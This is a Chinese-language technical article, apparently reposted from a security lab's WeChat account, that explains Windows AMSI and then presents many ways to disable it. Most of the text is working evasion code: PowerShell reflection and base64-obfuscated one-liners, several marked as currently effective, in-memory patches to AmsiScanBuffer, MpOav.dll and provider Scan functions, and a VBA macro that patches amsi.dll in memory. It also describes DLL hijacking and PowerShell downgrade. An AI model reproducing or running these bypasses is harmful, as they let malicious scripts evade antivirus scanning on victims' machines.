1.什么是AMSI
AMSI全稱(Antimalware Scan Interface),反惡意軟件掃描接口
反惡意軟件掃描接口是允許應用程序與反惡意軟件產品集成的標準
例如,在可編寫腳本的應用程序中,當腳本準備好提供給腳本引擎時,應用程序可以調用Windows AMSI API,請求在執行之前掃描內容。
AMSI有效的原因是,無論代碼經過多么復雜的模糊處理和混淆,當腳本需要在腳本宿主中運行時,都必須是明文未經混淆的代碼形式執行。比如powershell代碼,無論經過多復雜的模糊處理或者編碼(比如Base64),但是當需要執行powershell代碼是必須要解碼之后符合powershell代碼規范才能執行。
2.AMSI架構
任何應用程序(消費者)都可以請求掃描內容
任何安全供應商(供應商)都可以注冊以接收掃描請求
操作系統是中介程序amsi.dll,必須由任何受amsi保護的應用程序導入
3.受AMSI影響的產品
PowerShell (>2.0)
JavaScript
VBScript
VBA (office macro)
WMI
User Account Control (UAC)elevations
Excel 4.0 macros
Volume shadow copy operations
4.AMSI函數
函數名 | 作用 |
---|---|
AmsiCloseSession | 關閉由 AmsiOpenSession 打開的會話。 |
AmsiInitialize | 初始化 AMSI API。 |
AmsiNotifyOperation | 向反惡意軟件提供程序發送任意操作的通知。 |
AmsiOpenSession | 打開可在其中關聯多個掃描請求的會話。 |
AmsiResultIsMalware | 確定掃描結果是否指示應阻止內容。 |
AmsiScanBuffer | 掃描緩沖區中的內容中尋找惡意軟件。 |
AmsiScanString | 掃描字符串中的惡意軟件。 |
AmsiUninitialize | 刪除 AmsiInitialize最初打開的 AMSI API 實例。 |
5.禁用AMSI
斷開AMSI鏈條中的任何一個環節
5.1.應用程序側的Unhook
各種應用程序是通過AMSI這個接口被檢測的,可以通過斷開某個應用程序(比如powershell)到AMSI的路線來使這個應用程序(比如powershell)不被AMSI掃描,從而繞過AMSI。
取決于受AMSI保護的應用程序如何使用AMSI,了解應用程序的工作原理,使其在不調用AmsiScanBuffer的情況下執行代碼。
5.1.1使用反射
首先了解powershell是如何調用AMSI的
powershell可以通過反射破壞Amsi的初始化相關對象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,從而不對當前進程進行掃描。
(這是2016年提出的概念腳本,現在AMSI會識別并攔截了)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null); $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)
改變上面的第一個腳本,使用base64繞過(此腳本也已經失效)
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
再次修改腳本,全部使用base64繞過(目前可用)
function b64decode { param ($encoded) $decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) return$decoded } $1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=") $2 = b64decode("YW1zaUluaXRGYWlsZWQ=") $3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==") [Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)
最終繞過AMSI效果如下:
(同樣有效的腳本)
$w = 'System.Management.Automation.A';$c= 'si';$m= 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static') $field.SetValue($null,$true)
5.2.patch AMSI.DLL代碼
AMSI的一個主要組件被實現為DLL,該DLL被加載到每個受AMSI保護的進程中,此DLL充當托管PowerShell代碼和COM反惡意軟件提供程序之間的連接器。因此通過修補AMSI.DLL的代碼數據部分,攻擊者可以破壞AMSI鏈。
5.2.1patch AmsiScanBuffer函數
AmsiScanBuffer()函數掃描充滿惡意軟件內容的緩沖區,攻擊者可以修補AmsiScanBuffer的任何部分(或其調用的其他代碼片段),并根據其意愿使其返回AMSI_RESULT值。
(下面示例代碼目前可用)
$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("am"+ "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi"+ "Scan"+ "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
為什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?
這是因為在64位下HRESULT:0x80070057 (E_INVALIDARG)的字節碼是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表傳入的參數之一無效。當AmsiScanBuffer因為參數錯誤而導致返回代碼是E_INVALIDARG時,實際掃描結果為0即AMSI_RESULT_CLEAN。
5.2.2patch AMSI Context 結構體
AMSI Context 結構體在AmsiInitialize例程期間初始化,存儲在AMSI保護的進程內存中,可以通過搜索“AMSI”簽名在內存中找到AMSI Context 結構體或找到指向它的全局指針,覆蓋此結構將導致AmsiScanBuffer失效。
5.3.COM Server劫持
AMSI提供程序通過在HKLMSoftwareClassesCLSID中創建CLSID條目并在HKLMSSoftwareMicrosoftAMSIproviders中注冊相同的CLSID來注冊自己。當AMSI在主機進程中初始化時,它將枚舉Providers注冊表項中列出的每個CLSID,并通過導入InProcServer32子項中的DLL來初始化COM對象。
IAntimalwareProvider是構成AMSI主要關鍵的接口。想要提供反惡意軟件服務的每個AMSI提供程序都需要實現lAntimalwareProvider COM接口。
劫持AMSI提供程序COM服務器可能導致繞過AMSI,而且可通過注冊表監控輕松檢測。
5.4.patch AMSI提供程序
這種方法將導致AMSI初始化過程失敗,從而破壞AMSI鏈。通過修補amsi.dll區域外的非受監控內存來完成
為了理解它,讓我們深入到AMSI內部
AMSI Initialization
任何想要使用AMSI服務的提供商都必須調用Amsilnitialize函數,用信息填充HAMSICONTEXT。下面是簡化的代碼
我們會破壞一些不太直觀的東西來保護提供程序本身,修補提供程序的DLL中DllGetClassObject函數的序言字節,并干擾AMSI的初始化過程。
AmsiUninitialize
每個使用AMSI的應用程序都有一個代碼,用于取消初始化AMSI,那就是AmsiUninitialize函數。在PowerShell中,我們可以使用反射來調用此代碼。在AmsiUtils類中聲明一個名為Uninitialize()的函數,為我們取消初始化AMSI。
5.4.1Patch Microsoft MpOav.dll
基于此原理可以得到一個bypass腳本,下面是一個示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通過適當的查詢注冊表項來查找所有提供程序的DLL。
(下面示例代碼目前仍然有效)
$APIs = @" using System; using System.Runtime.InteropServices; public class APIs { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $APIs $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) $LoadLibrary = [APIs]::LoadLibrary("MpOav.dll") $Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject") $p = 0 [APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) $object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils') $Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize $Uninitialize.Invoke($object,$null)
5.4.2替換Add-Type Patch Microsoft MpOav.dll
Add-Type會將代碼寫入磁盤上的臨時文件,然后使用csc.exe 將此代碼編譯為二進制文件,落地到磁盤上可能導致AV檢測
解決方案:反射
(下面的示例代碼是使用反射來代替Add-Type)
functionGet-ProcAddress{ Param( [Parameter(Position = 0, Mandatory = $True)] [String] $Module, [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And$_.Location.Split('\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function return$GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } functionGet-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1)] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $hModule = $LoadLibrary.Invoke("MpOav.dll") $DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject") $p = 0 $VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p) $ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6) $object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls') $Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize $Uninitialize.Invoke($object,$null)
5.4.3掃描攔截
我們可以攔截AMSIs掃描過程而不是初始化(如經典AmsiScanBuffer patch代碼,可以不需要接觸amsi.dl就可以完成)
AmsiScanBuffer為每個注冊的AMSI提供程序調用IAntimalwareProvider::Scan() 如果提供程序返回的結果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,則掃描將停止并返回結果,而不調用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。
所以需要找到提供商的掃描函數
調用AmsiInitialize將為我們生成一個新的HAMSICONTEXT,然后將它指向提供程序DLL中的相同掃描函數,我們可以修補每個提供商的 scan函數,所以它將返回而不填寫AMSI_RESULT(將保持AMSI_RESULT_CLEAN)。
(下面的示例代碼目前仍然可用)
$Apis = @" using System; using System.Runtime.InteropServices; public class Apis { [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("amsi")] public static extern int AmsiInitialize(string appName, out Int64 context); } "@ Add-Type $Apis $ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3) $p = 0; $i = 0 $SIZE_OF_PTR = 8 [Int64]$ctx = 0 [Apis]::AmsiInitialize("MyScanner", [ref]$ctx) $CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16) $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64) # Loop through all the providers while($AntimalwareProvider -ne 0) { # Find the provider's Scan function $AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider) $AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24) # Patch the Scan function Write-host "[$i] Provider's scan function found!"$AmsiProviderScanFunc [APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6) $i++ $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64+ ($i*$SIZE_OF_PTR)) }
5.5 更多AMSI bypass技術
5.5.1 使用PowerShell版本2
切換powershell版本:powershell -version 2
在腳本中:在腳本開頭加入#requires -version 2
這樣如果可以使用2.0,腳本會以2.0執行,如果不能,會按照當前powershell版 本執行
5.5.3 amsi.dll劫持
LoadLibrary函數導入dll的時候沒有使用絕對路徑,因此程序會首先在當前目錄下尋找dll,因此可以在 powershell.exe同目錄下(C:WindowsSystem32WindowsPowerShellv1.0)放一個偽造amsi.dll,就可以實現DLL劫持,而不會調用系統的amsi.dll(C:WindowsSystem32asmi.dll)
dll導入優先級如下:
進程對應的應用程序所在目錄 系統目錄(通過 GetSystemDirectory 獲取) 16位系統目錄 Windows目錄(通過 GetWindowsDirectory 獲取) 當前目錄 PATH環境變量中的各個目錄
5.5.4 宏代碼繞過AMSI
詳細說明可查閱:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/
Private DeclarePtrSafe FunctionGetProcAddress Lib "kernel32"(ByVal hModule AsLongPtr, ByVal lpProcName AsString) AsLongPtr PrivateDeclarePtrSafe FunctionLoadLibrary Lib "kernel32"Alias"LoadLibraryA"(ByVal lpLibFileName AsString) AsLongPtr PrivateDeclarePtrSafe FunctionVirtualProtect Lib "kernel32"(lpAddress AsAny, ByVal dwSize AsLongPtr, ByVal flNewProtect AsLong, lpflOldProtect AsLong) AsLong PrivateDeclarePtrSafe Sub ByteSwapper Lib "kernel32.dll"Alias"RtlFillMemory"(Destination AsAny, ByVal LengthAsLong, ByVal Fill AsByte) DeclarePtrSafe Sub Peek Lib "msvcrt"Alias"memcpy"(ByRef pDest AsAny, ByRef pSource AsAny, ByVal nBytes AsLong) PrivateDeclarePtrSafe FunctionCreateProcess Lib "kernel32"Alias"CreateProcessA"(ByVal lpApplicationName AsString, ByVal lpCommandLine AsString, lpProcessAttributes AsAny, lpThreadAttributes AsAny, ByVal bInheritHandles AsLong, ByVal dwCreationFlags AsLong, lpEnvironment AsAny, ByVal lpCurrentDriectory AsString, lpStartupInfo AsSTARTUPINFO, lpProcessInformation AsPROCESS_INFORMATION) AsLong PrivateDeclarePtrSafe FunctionOpenProcess Lib "kernel32.dll"(ByVal dwAccess AsLong, ByVal fInherit AsInteger, ByVal hObject AsLong) AsLong PrivateDeclarePtrSafe FunctionTerminateProcess Lib "kernel32"(ByVal hProcess AsLong, ByVal uExitCode AsLong) AsLong PrivateDeclarePtrSafe FunctionCloseHandle Lib "kernel32"(ByVal hObject AsLong) AsLong PrivateTypePROCESS_INFORMATION hProcess AsLong hThread AsLong dwProcessId AsLong dwThreadId AsLong EndType PrivateTypeSTARTUPINFO cb AsLong lpReserved AsString lpDesktop AsString lpTitle AsString dwX AsLong dwY AsLong dwXSize AsLong dwYSize AsLong dwXCountChars AsLong dwYCountChars AsLong dwFillAttribute AsLong dwFlags AsLong wShowWindow AsInteger cbReserved2 AsInteger lpReserved2 AsLong hStdInput AsLong hStdOutput AsLong hStdError AsLong EndType Const CREATE_NO_WINDOW = &H8000000 Const CREATE_NEW_CONSOLE = &H10 FunctionLoadDll(dll AsString, func AsString) AsLongPtr Dim AmsiDLL AsLongPtr AmsiDLL = LoadLibrary(dll) LoadDll = GetProcAddress(AmsiDLL, func) EndFunction FunctionGetBuffer(LeakedAmsiDllAddr AsLongPtr, TraverseOffset AsInteger) AsString Dim LeakedBytesBuffer AsString Dim LeakedByte AsLongPtr Dim TraverseStartAddr AsLongPtr OnErrorResumeNext TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset Dim i AsInteger Fori = 0ToTraverseOffset Peek LeakedByte, ByVal (TraverseStartAddr + i), 1 IfLeakedByte < 16?Then ????????FixedByteString = "0"?& Hex(LeakedByte) ????????LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString ????Else ????????LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte) ????End?If Next?i ? GetBuffer = LeakedBytesBuffer ? End?Function ? Function?FindPatchOffset(LeakedAmsiDllAddr As?LongPtr, TraverseOffset As?Integer, InstructionInStringOffset As?Integer) As?LongPtr ? Dim memOffset As?Integer ? memOffset = (InstructionInStringOffset - 1) / 2 FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset ? End?Function ? Sub x64_office() ? Dim LeakedAmsiDllAddr As?LongPtr ? Dim ScanBufferMagicBytes As?String Dim ScanStringMagicBytes As?String Dim LeakedBytesBuffer As?String Dim AmsiScanBufferPatchAddr As?LongPtr Dim AmsiScanStringPatchAddr As?LongPtr Dim TrvOffset As?Integer ? Dim InstructionInStringOffset As?Integer Dim Success?As?Integer ? ScanBufferMagicBytes = "4C8BDC49895B08" ScanStringMagicBytes = "4883EC384533DB" TrvOffset = 352 Success?= 0 ? LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize") ? LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If?InstructionInStringOffset = 0?Then ????' MsgBox "We didn't find the scanbuffer magicbytes :/" Else ????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3") ????Success = Success + 1 End If ? ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ????' MsgBox "We didn't find the scanstring magicbytes :/" Else ????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3") ????Success = Success + 1 End If ? If Success = 2 Then ????Call CallMe End If ? End Sub ? Sub x32_office() ? Dim LeakedAmsiDllAddr As LongPtr ? Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer ? Dim InstructionInStringOffset As Integer Dim Success As Integer ? ScanBufferMagicBytes = "8B450C85C0745A85DB" ScanStringMagicBytes = "8B550C85D27434837D" TrvOffset = 300 Success = 0 ? LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize") ? LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ????'?MsgBox "We didn't find the scanbuffer magicbytes :/" Else ????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Debug.Print Hex(AmsiScanBufferPatchAddr) ? ????Result?= VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H"?& "90") ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H"?& "31") ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H"?& "C0") ????Success?= Success?+ 1 End?If ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If?InstructionInStringOffset = 0?Then ????' MsgBox "We didn't find the scanstring magicbytes :/" Else ????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Debug.Print Hex(AmsiScanStringPatchAddr) ? ????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31") ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2") ????Success = Success + 1 End If ? If Success = 2 Then ????Call CallMe End If ? End Sub ? Sub TestOfficeVersion() ? #If Win64 Then ????Call x64_office #ElseIf Win32 Then ????Call x32_office #End If ? End Sub ? Sub CallMe() ????? Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim lSuccess As Long Dim lRetValue As Long ? lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo) ? lRetValue = CloseHandle(pInfo.hThread) lRetValue = CloseHandle(pInfo.hProcess) ? End Sub
6. 總結
powershell繞過方法不適合mimikatz,可以執行powershell版的mimikatz,但是會被殺毒軟件(defender等)查殺。
由于AMSI.DLL和提供程序的DLL加載到潛在攻擊者所在的相同內存空間,因此破壞操作更容易。
AMSI提供程序的內存以及AMSI.dll內存空間應受到保護
AMSI的Un-initialization可能會讓我們找到通過干擾AMSI初始化過程來禁用AMSI的新方法,一種不同于當前干擾AMSI掃描過程的技術。
審核編輯:劉清
-
dll
+關注
關注
0文章
115瀏覽量
45378 -
VBA
+關注
關注
0文章
18瀏覽量
11900 -
Com
+關注
關注
1文章
107瀏覽量
40607 -
uac
+關注
關注
0文章
9瀏覽量
4112
原文標題:AMSI繞過原理與實踐
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論